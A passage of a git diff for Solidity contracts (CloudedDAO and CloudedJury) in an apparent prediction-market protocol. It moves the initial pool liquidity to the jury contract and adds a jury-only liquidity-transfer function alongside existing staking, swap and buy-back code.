         uint256 _outcomeMarketId  = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         require(_outcomeMarketId != 0, "Invalid outcome id");
 
         uint8   _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         require(_status == 3, "Not voting window");
 
         outcomeStakeOf_[msg.sender][_outcomeId] += _amount;
         outcomeVotes[_outcomeId]                += _amount;
         voterActiveOutcomeIds_[msg.sender].add(_outcomeId);
         _update(msg.sender, address(this), _amount * DECIMALS);
 
         emit StakeToVote(msg.sender, _outcomeMarketId, _outcomeId, _amount, outcomeVotes[_outcomeId]);
     }
 
     function unstake(uint256 _outcomeId) external nonReentrant {
         require(outcomeStakeOf_[msg.sender][_outcomeId] > 0, "No token staked");
         uint256 _outcomeStakeOf = outcomeStakeOf_[msg.sender][_outcomeId];
         outcomeStakeOf_[msg.sender][_outcomeId] = 0;
 
         uint256 _outcomeMarketId = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         uint8 _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         if (_status == 3) outcomeVotes[_outcomeId] -= _outcomeStakeOf;
 
         voterActiveOutcomeIds_[msg.sender].remove(_outcomeId);
         _update(address(this), msg.sender, _outcomeStakeOf * DECIMALS);
 
         emit Unstake(msg.sender, _outcomeMarketId, _outcomeId, _outcomeStakeOf, outcomeVotes[_outcomeId]);
     }
 
     function buyBack() external payable nonReentrant isJury {
         pendingHYPE += msg.value;
 
         if (totalLP == 0) {
             uint256 _initialAmount = pendingHYPE;
             _mint(address(this), _initialAmount);
             pendingHYPE         -= _initialAmount;
             reserveHYPE         += _initialAmount;
             reserveDAO          += _initialAmount;
-            totalLP             += _initialAmount;
-            lpOf[address(this)] += _initialAmount;
+            totalLP       += _initialAmount;
+            lpOf[JURY]    += _initialAmount;
             priceUpdatedAt_  = block.timestamp;
             oracleUpdatedAt_ = block.timestamp;
             oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
         }
 
         _updateBuyBackOracle();
 
         uint256 _hypeIn = pendingHYPE;
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
 
         uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
         uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;
 
         if (_daoOut > 0 && _daoOut >= _minDaoOut) {
             pendingHYPE -= _hypeIn;
             reserveHYPE += _hypeIn;
             reserveDAO  -= _daoOut;
             _burn(address(this), _daoOut);
         }
         else _daoOut = 0;
 
         emit BuyBack(msg.value, _daoOut, reserveHYPE, reserveDAO);
     }
 
+    function transferLiquidity(address _to, uint256 _lp) external isJury {
+        require(_to != address(0) && _lp > 0 && lpOf[msg.sender] >= _lp, "Invalid LP transfer");
+        lpOf[msg.sender] -= _lp;
+        lpOf[_to]        += _lp;
+    }
+
     function addLiquidity(uint256 _daoAmount, uint256 _minLpOut, uint256 _deadline) external payable nonReentrant returns (uint256 lpAdded) {
         require(block.timestamp <= _deadline, "Expired");
         require(balanceOf(msg.sender) >= _daoAmount, "Insufficient balance");
 
         uint256 _hypeAmount = msg.value;
         require(_hypeAmount > 0 && _daoAmount > 0, "Zero amount");
 
         uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
         (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
         require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] += lpAdded;
         totalLP          += lpAdded;
         reserveHYPE      += _hypeUsed;
         reserveDAO       += _daoUsed;
 
         _update(msg.sender, address(this), _daoUsed);
 
         if (_hypeRefund > 0) {
             (bool _success, ) = msg.sender.call{value: _hypeRefund}("");
             require(_success, "Refund failed");
         }
 
         emit AddLiquidity(msg.sender, lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
         require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
         require(block.timestamp <= _deadline, "Expired");
 
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO / totalLP;
         require(hype > 0 && dao > 0, "Zero output");
         require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] -= _lp;
         totalLP          -= _lp;
         reserveHYPE      -= hype;
         reserveDAO       -= dao;
 
         _update(address(this), msg.sender, dao);
 
         (bool _success, ) = msg.sender.call{value: hype}("");
         require(_success, "HYPE transfer failed");
 
         emit RemoveLiquidity(msg.sender, _lp, hype, dao, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(msg.value > 0, "Zero input");
 
         uint256 _hypeInAfterFee = msg.value * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveHYPE += msg.value;
         reserveDAO  -= daoOut;
         _update(address(this), msg.sender, daoOut);
 
         emit Swap(msg.sender, msg.value, 0, 0, daoOut, reserveHYPE, reserveDAO);
     }
 
     function swapDAOForHYPE(uint256 _daoIn, uint256 _minHypeOut, uint256 _deadline) external nonReentrant returns (uint256 hypeOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
         require(hypeOut >= _minHypeOut && hypeOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveDAO  += _daoIn;
         reserveHYPE -= hypeOut;
         _update(msg.sender, address(this), _daoIn);
 
         (bool _success, ) = msg.sender.call{value: hypeOut}("");
         require(_success, "HYPE transfer failed");
 
         emit Swap(msg.sender, 0, _daoIn, hypeOut, 0, reserveHYPE, reserveDAO);
     }
 
     function _calculateAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) private view returns (uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         if (totalLP == 0) {
             uint256 _sqrtK = _sqrt(_hypeAmount * _daoAmount);
             hypeUsed = _hypeAmount;
             daoUsed  = _daoAmount;
             lpAdded  = _sqrtK;
         } else {
             uint256 _lpByHype = _hypeAmount * totalLP / reserveHYPE;
             uint256 _lpByDAO  = _daoAmount  * totalLP / reserveDAO;
             lpAdded = _lpByHype < _lpByDAO ? _lpByHype : _lpByDAO;
             if (_lpByHype < _lpByDAO) {
                 hypeUsed  = _hypeAmount;
                 daoUsed   = _hypeAmount * reserveDAO / reserveHYPE;
                 daoRefund = _daoAmount - daoUsed;
             } else if (_lpByDAO < _lpByHype) {
                 daoUsed    = _daoAmount;
                 hypeUsed   = _daoAmount * reserveHYPE / reserveDAO;
                 hypeRefund = _hypeAmount - hypeUsed;
             } else {
                 hypeUsed = _hypeAmount;
                 daoUsed  = _daoAmount;
             }
             require(hypeUsed > 0 && daoUsed > 0, "Insufficient liquidity");
         }
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 
     function _updateBuyBackOracle() private {
         if (totalLP == 0) return;
 
         uint256 _timestamp = block.timestamp;
 
         uint256 _priceElapsed = _timestamp - priceUpdatedAt_;
         if (_priceElapsed > 0) {
             priceCumulative_ += (reserveDAO * DECIMALS / reserveHYPE) * _priceElapsed;
             priceUpdatedAt_   = _timestamp;
         }
 
         uint256 _oracleElapsed = _timestamp - oracleUpdatedAt_;
         if (_oracleElapsed >= ORACLE_PERIOD) {
             oraclePrice_      = (priceCumulative_ - oracleCumulative_) / _oracleElapsed;
             oracleCumulative_ = priceCumulative_;
             oracleUpdatedAt_  = _timestamp;
         }
     }
 }
\ No newline at end of file

diff --git a/CloudedDAO.sol b/CloudedDAO.sol
--- a/CloudedDAO.sol
+++ b/CloudedDAO.sol
@@ -1,362 +1,368 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury { function updateMarketStatus(uint256) external returns (uint8); }
 
 interface IClouded { function getOutcomeMarketId(uint256) external view returns (uint256); }
 
 contract CloudedDAO is ERC20, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event StakeToVote(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event Unstake(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event BuyBack(uint256 hypeReward, uint256 daoBurned, uint256 reserveHYPE, uint256 reserveDAO);
     event AddLiquidity(address indexed provider, uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event RemoveLiquidity(address indexed provider, uint256 lpRemoved, uint256 hype, uint256 dao, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event Swap(address indexed user, uint256 hypeIn, uint256 daoIn, uint256 hypeOut, uint256 daoOut, uint256 reserveHYPE, uint256 reserveDAO);
 
     address public immutable JURY;
     address public immutable CLOUDED;
     uint256 constant DECIMALS = 1e18;
     uint256 private constant FEE_NUM = 997;
     uint256 private constant FEE_DEN = 1000;
 
     uint256 private constant BPS_DEN = 10000;
     uint256 private constant MAX_BUYBACK_DEVIATION_BPS = 2000;
     uint256 private constant ORACLE_PERIOD = 30 minutes;
 
     uint256 private priceCumulative_;
     uint256 private priceUpdatedAt_;
     uint256 private oraclePrice_;
     uint256 private oracleCumulative_;
     uint256 private oracleUpdatedAt_;
 
     mapping(uint256 => uint256) public  outcomeVotes;
     mapping(address => Ids.Set) private voterActiveOutcomeIds_;
     mapping(address => mapping(uint256 => uint256)) private outcomeStakeOf_;
 
     uint256 public pendingHYPE;
     uint256 public reserveHYPE;
     uint256 public reserveDAO;
     uint256 public totalLP;
 
     mapping(address => uint256) public lpOf;
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _name, string memory _symbol, address _juryAddr, address _cloudedAddr) ERC20(_name, _symbol) {
         JURY = _juryAddr;
         CLOUDED = _cloudedAddr;
     }
 
     function getVoterActiveOutcomeIds(address _voterAddr) external view returns (uint256[] memory) { return voterActiveOutcomeIds_[_voterAddr].getAll(); }
 
     function getVoterOutcomeVotes(address _voterAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeStakeOf_[_voterAddr][_outcomeIds[i]]; }
     }
 
     function getOutcomeVoteInBatch(uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeVotes[_outcomeIds[i]]; }
     }
 
     function getPool() external view returns (uint256, uint256, uint256) { return (reserveHYPE, reserveDAO, totalLP); }
 
     function getUserPosition(address _addr) external view returns (uint256 hypeBalance, uint256 daoBalance, uint256 lp, uint256 poolShareBPS, uint256 poolHYPE, uint256 poolDAO) {
         hypeBalance = address(_addr).balance;
         daoBalance  = balanceOf(_addr);
         lp          = lpOf[_addr];
         if (totalLP > 0 && lp > 0) {
             poolShareBPS = lp * 10000 / totalLP;
             poolHYPE     = lp * reserveHYPE / totalLP;
             poolDAO      = lp * reserveDAO  / totalLP;
         }
     }
 
     function quoteAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) external view returns (uint256 lp, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         require(_hypeAmount > 0 || _daoAmount > 0, "Input amount");
 
         if (totalLP == 0) require(_hypeAmount > 0 && _daoAmount > 0, "Add both tokens to initiate pool");
 
         if (_hypeAmount > 0 && _daoAmount == 0) { _daoAmount  = _hypeAmount * reserveDAO  / reserveHYPE; }
         if (_daoAmount > 0 && _hypeAmount == 0) { _hypeAmount = _daoAmount  * reserveHYPE / reserveDAO; }
 
         (lp, hypeUsed, daoUsed, hypeRefund, daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
     }
 
     function quoteRemoveLiquidity(uint256 _lp) external view returns (uint256 hype, uint256 dao) {
         require(_lp != 0 && totalLP != 0, "No liquidity in the pool");
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO  / totalLP;
     }
 
     function quoteHYPEForDAO(uint256 _hypeIn, uint256 _slippageBPS) external view returns (uint256 daoOut, uint256 minDaoOut) {
         require(_hypeIn > 0, "Zero input");
 
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         minDaoOut = daoOut * (10000 - _slippageBPS) / 10000;
     }
 
     function quoteDAOForHYPE(uint256 _daoIn, uint256 _slippageBPS) external view returns (uint256 hypeOut, uint256 minHypeOut) {
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
 
         minHypeOut = hypeOut * (10000 - _slippageBPS) / 10000;
     }
 
     function mint(address _to, uint256 _amount) external nonReentrant isJury { _mint(_to, _amount); }
 
     function stakeToVote(uint256 _outcomeId, uint256 _amount) external nonReentrant {
         require(_amount > 0, "Amount must be greater than 0");
         require(balanceOf(msg.sender) >= _amount * DECIMALS, "Insufficient balance");
 
         uint256 _outcomeMarketId  = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         require(_outcomeMarketId != 0, "Invalid outcome id");
 
         uint8   _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         require(_status == 3, "Not voting window");
 
         outcomeStakeOf_[msg.sender][_outcomeId] += _amount;
         outcomeVotes[_outcomeId]                += _amount;
         voterActiveOutcomeIds_[msg.sender].add(_outcomeId);
         _update(msg.sender, address(this), _amount * DECIMALS);
 
         emit StakeToVote(msg.sender, _outcomeMarketId, _outcomeId, _amount, outcomeVotes[_outcomeId]);
     }
 
     function unstake(uint256 _outcomeId) external nonReentrant {
         require(outcomeStakeOf_[msg.sender][_outcomeId] > 0, "No token staked");
         uint256 _outcomeStakeOf = outcomeStakeOf_[msg.sender][_outcomeId];
         outcomeStakeOf_[msg.sender][_outcomeId] = 0;
 
         uint256 _outcomeMarketId = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         uint8 _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         if (_status == 3) outcomeVotes[_outcomeId] -= _outcomeStakeOf;
 
         voterActiveOutcomeIds_[msg.sender].remove(_outcomeId);
         _update(address(this), msg.sender, _outcomeStakeOf * DECIMALS);
 
         emit Unstake(msg.sender, _outcomeMarketId, _outcomeId, _outcomeStakeOf, outcomeVotes[_outcomeId]);
     }
 
     function buyBack() external payable nonReentrant isJury {
         pendingHYPE += msg.value;
 
         if (totalLP == 0) {
             uint256 _initialAmount = pendingHYPE;
             _mint(address(this), _initialAmount);
             pendingHYPE         -= _initialAmount;
             reserveHYPE         += _initialAmount;
             reserveDAO          += _initialAmount;
-            totalLP             += _initialAmount;
-            lpOf[address(this)] += _initialAmount;
+            totalLP       += _initialAmount;
+            lpOf[JURY]    += _initialAmount;
             priceUpdatedAt_  = block.timestamp;
             oracleUpdatedAt_ = block.timestamp;
             oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
         }
 
         _updateBuyBackOracle();
 
         uint256 _hypeIn = pendingHYPE;
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
 
         uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
         uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;
 
         if (_daoOut > 0 && _daoOut >= _minDaoOut) {
             pendingHYPE -= _hypeIn;
             reserveHYPE += _hypeIn;
             reserveDAO  -= _daoOut;
             _burn(address(this), _daoOut);
         }
         else _daoOut = 0;
 
         emit BuyBack(msg.value, _daoOut, reserveHYPE, reserveDAO);
     }
 
+    function transferLiquidity(address _to, uint256 _lp) external isJury {
+        require(_to != address(0) && _lp > 0 && lpOf[msg.sender] >= _lp, "Invalid LP transfer");
+        lpOf[msg.sender] -= _lp;
+        lpOf[_to]        += _lp;
+    }
+
     function addLiquidity(uint256 _daoAmount, uint256 _minLpOut, uint256 _deadline) external payable nonReentrant returns (uint256 lpAdded) {
         require(block.timestamp <= _deadline, "Expired");
         require(balanceOf(msg.sender) >= _daoAmount, "Insufficient balance");
 
         uint256 _hypeAmount = msg.value;
         require(_hypeAmount > 0 && _daoAmount > 0, "Zero amount");
 
         uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
         (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
         require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] += lpAdded;
         totalLP          += lpAdded;
         reserveHYPE      += _hypeUsed;
         reserveDAO       += _daoUsed;
 
         _update(msg.sender, address(this), _daoUsed);
 
         if (_hypeRefund > 0) {
             (bool _success, ) = msg.sender.call{value: _hypeRefund}("");
             require(_success, "Refund failed");
         }
 
         emit AddLiquidity(msg.sender, lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
         require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
         require(block.timestamp <= _deadline, "Expired");
 
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO / totalLP;
         require(hype > 0 && dao > 0, "Zero output");
         require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] -= _lp;
         totalLP          -= _lp;
         reserveHYPE      -= hype;
         reserveDAO       -= dao;
 
         _update(address(this), msg.sender, dao);
 
         (bool _success, ) = msg.sender.call{value: hype}("");
         require(_success, "HYPE transfer failed");
 
         emit RemoveLiquidity(msg.sender, _lp, hype, dao, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(msg.value > 0, "Zero input");
 
         uint256 _hypeInAfterFee = msg.value * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveHYPE += msg.value;
         reserveDAO  -= daoOut;
         _update(address(this), msg.sender, daoOut);
 
         emit Swap(msg.sender, msg.value, 0, 0, daoOut, reserveHYPE, reserveDAO);
     }
 
     function swapDAOForHYPE(uint256 _daoIn, uint256 _minHypeOut, uint256 _deadline) external nonReentrant returns (uint256 hypeOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
         require(hypeOut >= _minHypeOut && hypeOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveDAO  += _daoIn;
         reserveHYPE -= hypeOut;
         _update(msg.sender, address(this), _daoIn);
 
         (bool _success, ) = msg.sender.call{value: hypeOut}("");
         require(_success, "HYPE transfer failed");
 
         emit Swap(msg.sender, 0, _daoIn, hypeOut, 0, reserveHYPE, reserveDAO);
     }
 
     function _calculateAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) private view returns (uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         if (totalLP == 0) {
             uint256 _sqrtK = _sqrt(_hypeAmount * _daoAmount);
             hypeUsed = _hypeAmount;
             daoUsed  = _daoAmount;
             lpAdded  = _sqrtK;
         } else {
             uint256 _lpByHype = _hypeAmount * totalLP / reserveHYPE;
             uint256 _lpByDAO  = _daoAmount  * totalLP / reserveDAO;
             lpAdded = _lpByHype < _lpByDAO ? _lpByHype : _lpByDAO;
             if (_lpByHype < _lpByDAO) {
                 hypeUsed  = _hypeAmount;
                 daoUsed   = _hypeAmount * reserveDAO / reserveHYPE;
                 daoRefund = _daoAmount - daoUsed;
             } else if (_lpByDAO < _lpByHype) {
                 daoUsed    = _daoAmount;
                 hypeUsed   = _daoAmount * reserveHYPE / reserveDAO;
                 hypeRefund = _hypeAmount - hypeUsed;
             } else {
                 hypeUsed = _hypeAmount;
                 daoUsed  = _daoAmount;
             }
             require(hypeUsed > 0 && daoUsed > 0, "Insufficient liquidity");
         }
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 
     function _updateBuyBackOracle() private {
         if (totalLP == 0) return;
 
         uint256 _timestamp = block.timestamp;
 
         uint256 _priceElapsed = _timestamp - priceUpdatedAt_;
         if (_priceElapsed > 0) {
             priceCumulative_ += (reserveDAO * DECIMALS / reserveHYPE) * _priceElapsed;
             priceUpdatedAt_   = _timestamp;
         }
 
         uint256 _oracleElapsed = _timestamp - oracleUpdatedAt_;
         if (_oracleElapsed >= ORACLE_PERIOD) {
             oraclePrice_      = (priceCumulative_ - oracleCumulative_) / _oracleElapsed;
             oracleCumulative_ = priceCumulative_;
             oracleUpdatedAt_  = _timestamp;
         }
     }
 }
\ No newline at end of file

diff --git a/CloudedJury.sol b/CloudedJury.sol
--- a/CloudedJury.sol
+++ b/CloudedJury.sol
@@ -1,646 +1,649 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
 import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function swap(Set storage set, uint256 _indexA, uint256 _indexB) internal {
         if (_indexA == _indexB) return;
         
         uint256 idA = set.ids[_indexA];
         uint256 idB = set.ids[_indexB];
 
         set.ids[_indexA] = idB;
         set.ids[_indexB] = idA;
 
         set.positions[idA] = _indexB + 1;
         set.positions[idB] = _indexA + 1;
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IClouded {
     function nextMarketId() external view returns (uint256);
     function getMarketStartAtDaysOf(uint256) external view returns (uint256, uint256);
     function getOutcomeMarketId(uint256) external view returns (uint256);
     function getMarketOutcomeIds(uint256) external view returns (uint256[] memory);
     function getMarketWinningOutcome(uint256) external view returns (uint256);
     function getPriceAppreciation(uint256, bool, uint256) external view returns (uint256);
     function getMarketIndexInfoInBatch(uint256[] memory _marketIds) external view returns (string[] memory, uint256[] memory, uint256[][] memory, string[][] memory, uint256[][] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function getMarketResolutionInfoInBatch(uint256[] memory) external view returns (string[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function createMarket(string memory, string memory, string[] memory, uint256) external returns (uint256[] memory);
     function buy(address, uint256, uint256, uint256, uint256, uint256) external payable;
     function claimJuryReward(address, uint256, uint256) external returns (uint256);
 }
 
 interface IDAO {
     function mint(address, uint256) external;
     function outcomeVotes(uint256) external view returns (uint256);
     function buyBack() external payable;
+    function transferLiquidity(address, uint256) external;
 }
 
 contract CloudedJury is ERC721, ReentrancyGuardTransient {
     using Strings for uint256;
     using Ids for Ids.Set;
 
     event AddToWhitelist(address indexed addr);
     event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId);
     event Stake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event Unstake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event CreateMarket(address indexed marketCreator, uint256 indexed marketId, uint256 indexed tokenId);
     event StakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes);
     event UnstakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes, bool isMarketOf);
     event CreateMarketAfter(address indexed marketCreator, uint256 indexed marketId, string marketName, string marketRule, uint256[] marketOutcomeIds, string[] marketOutcomeNames, uint256 startAt, uint256 daysOf);
     event RevealOutcome(uint256 indexed marketId, address indexed juryAddr, uint256 indexed juryOutcomeIdOf, bytes32 randomNumber, uint256 juryReveals, uint256 marketRevealedTS, uint256 juryOutcome);
     event SelectJury(uint256 indexed marketId, uint256 indexed tokenId, uint256 indexed tokenOutcomeId, address tokenOwner);
     event Challenge(address indexed challenger, uint256 indexed marketId, uint256 indexed tokenId, uint256 marketChallengedTS);
     event ResolveMarket(uint256 indexed marketId, uint256 votingOutcomeId, uint256 resolvedOutcomeId);
     event ClaimCreatorToken(address indexed creator, uint256 indexed marketId, uint256 tokenId);
     event ClaimChallengerReward(address indexed challenger, uint256 indexed marketId, uint256 tokenId, uint256 challengerReward);
     event ClaimJuryReward(address indexed staker, uint256 indexed marketId, uint256 tokenId, uint256 tokenReward);
     event ClaimRewardAfter(address indexed staker, uint256 indexed marketId, bool isMarketOf);
     event Slash(address indexed staker, uint256 indexed marketId, uint256 outcomeId, uint256 tokenId);
     event SendSlashedTokenToDAO(uint256 indexed marketId, uint256 tokens, uint256 tokenValue);
     event PublicLaunch();
 
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public CLOUDED;
     address public DAO;
 
     bool public whitelisted;
 
     // Overall protocol conditions
     string  private uri_;
     string  private baseURI_;
     uint256 private nextTokenId_;
     uint256 private totalSupply_;
     Ids.Set private allOngoingMarketIds_;
     Ids.Set private allResolvedMarketIds_;
     mapping(uint256 => Market) private markets_;
 
     // Staker conditions
     mapping(address => bool) private whitelisted_;
     mapping(address => Ids.Set) private tokenOf_;
     mapping(address => Ids.Set) private marketOf_; // Markets that stakers participate which include staking, creating, challenging
     mapping(uint256 => address) private tokenAddr_; // Staker token address
